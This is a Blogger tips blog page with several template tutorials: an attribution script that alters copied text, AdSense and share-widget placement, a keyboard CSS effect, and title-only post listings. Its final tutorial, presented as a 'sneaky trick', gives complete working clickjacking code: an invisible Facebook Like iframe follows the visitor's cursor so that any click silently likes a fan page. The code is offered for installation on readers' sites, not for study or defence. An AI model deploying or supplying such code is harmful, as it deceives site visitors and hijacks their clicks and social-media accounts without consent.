Showing posts with label Blogger Tricks. Show all posts
Showing posts with label Blogger Tricks. Show all posts

Tuesday, November 19, 2013


Most of you are spending precious time creating unique article for your readers and when someone comes and copies your hard work without permission and also not giving you credit by creating backlinks to its original post, it actually feels bad.

You need a backlink to credit all of your hard work and  I have here ways on how to get backlinks when someone copies your content.

This will work on blogger and wordpress. Here are the simple steps

1. Go to your blogger.com account.
2. Click Layout > Add gadget> select HTML/ javascript
3. Copy and paste the code below

 <script type='text/javascript'>
function addLink(){var a=document.getElementsByTagName("body")[0];var b;b=window.getSelection();var c="<br/><br/> Source : <a href='"+document.location.href+"'>"+document.location.href+"</a><br/>Content Copyrighted to Kshitij Wagle";var d=b+c;var e=document.createElement("div");e.style.position="absolute";e.style.left="-99999px";a.appendChild(e);e.innerHTML=d;b.selectAllChildren(e);window.setTimeout(function(){a.removeChild(e)},0)}document.oncopy=addLink
</script>

 4. Just edit the code colored in blue as you like. Save your gadget and you are all done.

When someone copies your article an attribution link will automatically appear. giving you a backlink to your site.

Try it for yourself, copy an article from your blog and paste it, you will see a source line below of that copied text.
+Kshitij Wagle 

When you are going to click a label for your blog you will see this message above "showing posts with label posts. Show all posts". For some, like me, I don't like that appearing on my blog. It is useless and annoying, so many people want it removed.

removing showing label post for blogger

If you want it removed, here is the tricks that will remove that "showing posts with label" for blogger.

Step 1.

Go to blogger dashboard > Edit HTML > Click on expand template (make a back just in case).

Step 2.

Use CTRL+F and find this code in the template.

 <b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div class='status-msg-wrap'>
<div class='status-msg-body'>
<data:navMessage/>
</div>
<div class='status-msg-border'>
<div class='status-msg-bg'>
<div class='status-msg-hidden'><data:navMessage/></div>
</div>
</div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>

Step 3.

After you find it, delete the code above and replace it with this one.

 <b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>

Save template and that is all.


Adsense besides Add this sharing social widget below post title for blogger
Aloha! today I will share to you some Adsense techniques that will help you earn more money. One of the best way to put your Adsense ads is putting it below post titles, but in this lesson we will add more, we add "add this" social sharing widget next to your Adsense ads. I found this trick on www.abctrick.net.

Before we begin the installation, I need you to go to your Adsense account and create a new 300x250 blocks ads that will perfectly blend with your template. After creating your new ads, save and get code, then copy and paste the code on this HTML parser.

Installation

1. Log into your blogger account> dashboard> click edit HTML (make sure you back up your template in case you made some mistakes)> click on expand widgets.

2. Now find this code ]]></b:skin> then copy and paste the below codes just above it. 

/* Adsense below post title with Addthis and Social Badges by abctrick.net */ .boxround { margin : 0 auto; padding : 10px;border : 1px solid #ccc; -moz-border-radius-topright:10px; -moz-border-radius-bottomleft:10px; -webkit-border-top-right-radius:10px; -webkit-border-bottom-left-radius:10px; border-radius-topright:10px; border-radius-bottomleft:10px; } #addthis-left { float : left; } .addthis_toolbox .vertical { float : left; width : 215px; padding-left : 5px; min-height : 185px; position : relative; } .addthis_toolbox .vertical a { position : relative; display : block; width : 150px; padding : 4px 0 4px 34px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 { float : left; width : 215px; min-height : 185px; position : relative; } .addthis_toolbox .vertical1 a { position : relative; display : block; width : 150px; padding : 4px 0 4px 15px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical1 a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical span { position : absolute; left : 14px; top : 4px; } .addthis_toolbox .vertical .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical .more a { padding : 0 0; margin : 0; } .addthis_toolbox .vertical .more a:hover { background : none; } .addthis_toolbox .vertical .more span { display : none; } .googleplus { padding-left : 15px; padding-top : 5px; padding-bottom : 3px; display : inline-block;


3.  Now, we will put jQuerry script as well as Google + and Twitter script on the template. Find the</head> tag and put the codes above it.

 <!-- Addthis jQuery - Remove if you already have this --> <script src='http://s7.addthis.com/js/250/addthis_widget.js' type='text/javascript'></script> <!-- Twitter Button jQuery - Remove if you already have this --> <script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script> <!-- Google +1 Button jQuery - Remove if you already have this --> <script src='https://apis.google.com/js/plusone.js' type='text/javascript'>{lang: 'en'}</script>

4. Find this tag <div class='post-header-line-1'/> or <data:post.body/> and paste the codes below above it.

 <!-- Adsense below post title with Addthis and Social Badges by abctrick.net Starts --> <b:if cond='data:blog.pageType == "item"'><!-- Remove --> <div class='boxround'> <table border='0' cellpadding='0' cellspacing='0' width='98%'> <tr> <td width='330'>REPLACE THIS LINE WITH CONVERTED ADSENSE CODE </td> <td><div class='boxround-right-min'> <div class='addthis_toolbox'> <div class='vertical'> <div class='googleplus'> <g:plusone annotation='bubble' size='medium'/> <iframe allowTransparency='true' expr:src='"http://www.facebook.com/plugins/like.php?href=" + data:post.url + "&amp;send=false&amp;layout=button_count&amp;show_faces=false&amp;width=90&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=21"' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:90px; height:21px;'/> <br/> <a class='twitter-share-button' data-lang='en' href='https://twitter.com/share'>Tweet</a><br/> <a class='twitter-follow-button' data-lang='en' data-show-count='true' href='https://twitter.com/YOUR_TWITTER_USERNAME'>Follow @YOUR_TWITTER_USERNAME</a> </div> <a href='YOUR_GOOGLE_PLUS_URL' style='text-decoration:none; background-color:transparent!important; margin-left:-20px!important' target='_blank'><img alt='Adsense besides Add this sharing social widget below post title for blogger' src='https://ssl.gstatic.com/images/icons/gplus-16.png' style='border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; vertical-align: middle; border-left-width: 0px;'/> Follow On Google+</a> <a class='addthis_button_facebook'>Share On Facebook</a> <a class='addthis_button_stumbleupon'>Stumble This Post</a> <a class='addthis_button_reddit'>Submit On Reddit</a> <a class='addthis_button_email'>Email To A Friend</a> <div class='more'> <a class='addthis_button_expanded'>More Destinations</a> </div> </div> </div> </div></td> </tr> </table> </div> </b:if> <!-- Remove --> <!-- Adsense below post title with Addthis and Social Badges by abctrick.net Ends -->
Customize
  • *Replace "REPLACE THIS LINE WITH CONVERTED ADSENSE CODE" with your parsed Adsense code. Remember to parse it first before putting it there.
  • *Replace "YOUR_TWITTER_USERNAME" with your twitter username.
  • *Replace "YOUR_GOOGLE_PLUS_URL" with your complete Google + profile URL.

    SAVE TEMPLATE!



    If you want to earn more through adsense, you need to put your ads where it is very visible. One of the best way to do that is inserting the ads inside your posts body because it will give you higher chance of click through rate and increase adsense earnings. 

    I prefer a 300x250 medium rectangle or a 336x280 large rectangle ad unit to be wrapped inside your blog post. In this trick, your ads will be appearing just like an image in a blog post. Just follow these simple steps and don't forget to back up your template in case you made some mistakes.

    Installation

    1. Log in to your adsense account and create a 300x250 ad unit or a 336x280 large rectangle ad unit, then save and get codes

    2. Copy and paste the generated code below to parse it.
      
    Post-Code: code converter
    Gadgets powered by Google


    3. Click on convert.

    4. Go to your blogger dashboard > edit template > tick on expand widgets

    5. Find this code using CTRL+F <data:post.body/> (Note: some templates has more than 1 of this code, just try them all in case it doesn't work)

    6. Just above it paste this code

     <b:if cond="data:blog.pageType == &quot;item&quot;">
    <div style="float: left; padding: 5px; margin: 5px;">
    PARSED ADSENSE CODE
    </div>
    </b:if>

    7. Replace " PARSED ADSENSE CODE " with your own parsed adsense code.

    Save template!

    Note

    Now your adsense can now be seen wrapped around your blogger post on the left side. But those ads won't appear on your home page and will only be visible if you click on your blog posts. This trick can save you ad space on your sidebar.

    But I will not advice to use this trick if you are using pictures or images at the beginning of your blog posts because it will violate Google adsense terms of service

    A blog design is very important, if you have a beautiful template and unique designs, then your blog post should be beautiful too. Today I will share to you how to make a keyboard effect on your blog post. This is CSS consist of no image and will not affect your blog speed. Lets begin the tutorial shall we.

    Lets view the Demo first:


    ALT + F4 

    CTRL + ALT + DELETE

    KEYBOARD


    Installation


    1. Go to blogger dashboard > layout > edit HTML.

    2. Find this code using CTRL + F   ]]></b:skin>

    3. Paste the code below above it



    /***************************************** Keyboard Style CSS ******************************************/ kbd{ border:1px solid gray; font-size:1.2em; box-shadow:1px 0 1px 0 #eee, 0 2px 0 2px #ccc, 0 2px 0 3px #444; -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; margin:2px 3px; padding:1px 5px; }

     4. Save template!


    Using it on blogger post


    If you want to use it on your blog posts just follow these simple steps.

    • Go to your blog posts, you can either create new or edit existing posts.
    • Click HTML besides the compose button.
    • Use the <kbd> </kbd> tag when you want to use the keyboard effect.
    Example:

    <kbd> I LIKE YOU </h2>

             I LIKE YOU


    That's it! I hope you enjoy this trick! thank you for reading!

    If you have a lot of posts in your blog then maybe its time to reorganize them by using display post title on blogger labels or on homepage. This trick will only show title post of your blog and will save time for visitors browsing your articles.

    Instruction for this trick is easy, just follow the instructions below and make sure you backed up your template before proceeding.

    Display post title only on blogger label

    1. Log in to your blogger account > go to layout > edit HTML > click expand widget

    2. Search this code using CTRL+F <b:include data='post' name='post'/> and replace it with the following codes below

     <!-- Display post title only Start-->
    <b:if cond='data:blog.homepageUrl
    != data:blog.url'>
    <b:if cond='data:blog.pageType != "item"'>
    <h3 class='post-title'><a expr:href='data:post.url'><data:post.title/></a></h3>
    <b:else/>
    <b:include data='post' name='post'/>
    </b:if>
    <b:else/>
    <b:include data='post' name='post'/>
    </b:if>
    <!-- Display post title only End http://fromhobby2money.blogspot.com -->

    3. Preview your template to check if there is no error then click SAVE.

    Display post title only on blogger home page

    If you want this trick to appear on your home page just follow the instructions below. I found this to be useful if you are planning to put more than 10 posts on your home page so that visitors can easily see the whole view of your current posts.

    1. Go to your blog layout > edit HTML >click on expand widget

    2. Find this code using CTRL+F <p><data:post.body/></p> and replace it with the codes below.

     <b:if cond='data:blog.pageType == "item"'>
    <p><data:post.body/></p>
    </b:if

    If you want to use this trick on your blog archives only just follow the steps above, but instead use this code to replace it.

    <b:if cond='data:blog.pageType == "index"'>
    <p><data:post.body/></p>
    </b:if>


    Note-If you are using read more hack in your blogger you will get above red line twice. So replace only the line that appears first in your blog html code and leave second one as it is.
    There you go! if you have questions kindly leave a comment below of this post.

    increase facebook likes instantly
    Do you have a problem increasing your facebook likes?, then do not worry if you have low facebook likes it doesn't mean your blog site sucks, some people are just lazy clicking the like button even though they like your site. And because of that I will share to you a sneaky trick to let your visitors like your site instantly.

    But before that I will show you something, a funny yet true illustrations about why some people get so many likes and some don't.


    increase facebook likes instantly


    As you can see on the left and right, those girls with weird eyes wears a different outfit. On the right has many likes, friend request and notifications on the other, has only one notification.

    In my observation 90% of those who like on the right side are male, because men love bikinis and those on the right... well she probably just receive a game invitation request.


    increase facebook likes instantly


    This happened to me many times, I posted a joke and only 1 person liked it, then a girl friend of mine who is actually hot shared it, she got more than a 100 likes, 30+ friend request and a lot of comment. If I am some hot chick wearing short skirt wearing kinky dresses in my blog post author biography and blogging the same topic, then I would probably have tons of likes and comments. 

    Anyway, lets go back to the main topic. Now I will share to you the sneaky trick to increase your facebook likes instantly. It is sneaky because when you install this trick, it lets your visitors like your site wherever they click on your blog. The reason for that is there is an invisible click button that follow your mouse cursor.

    Installation

    1. As usual go to your blogger template

    2. Edit HTML and click on expand widget. Make sure your backed up your template in case you made some mistakes editing.

    3. Search for this code using CTRL+F </head> and paste the below script above it.

     <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
    </script>
    <script type='text/javascript'>
    function ClickJackFbHide(){
    jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
    }
    function ClickJackFbShow(){
    jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
    }
    </script>

     4. Now search for the </body> tag and paste the code below above it.

     <div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
    <!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
    <iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
    </div>
    <script type="text/javascript">
    jQuery( document ).ready( function() {
    $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
    jQuery( "#clickjack-button-wrapper-5" ).css( {
    top: e.pageY - 10,
    left: e.pageX + 30
    } );
    } );
    clickjack_hider();
    var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
    } );
    function clickjack_hider(){
    jQuery("input").mouseout(function(){ClickJackFbShow();});
    jQuery("a").mouseout(function(){ClickJackFbShow();});
    jQuery("button").mouseout(function(){ClickJackFbShow();});
    jQuery("textarea").mouseout(function(){ClickJackFbShow();});
    jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
    jQuery("input").mouseover(function(){ClickJackFbHide();});
    jQuery("a").mouseover(function(){ClickJackFbHide();});
    jQuery("button").mouseover(function(){ClickJackFbHide();});
    jQuery("textarea").mouseover(function(){ClickJackFbHide();});
    jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
    }
    </script>

    5.  Just replace Fanpage URL Link with your own facebook fan page URL address. Then hit SAVE template. Refresh your page and you will notice something different about your mouse cursor.


    NOTE: this trick will affect your blog when selecting or highlighting text, you cannot copy or paste a text or word if you apply this trick. And also it might affect your blog widget acting weird but if there is no problem you can proceed.
    Design and Compelled by Engineer Kshitij Wagle | Blogger Theme by Horizon - Wagle | waglehorizon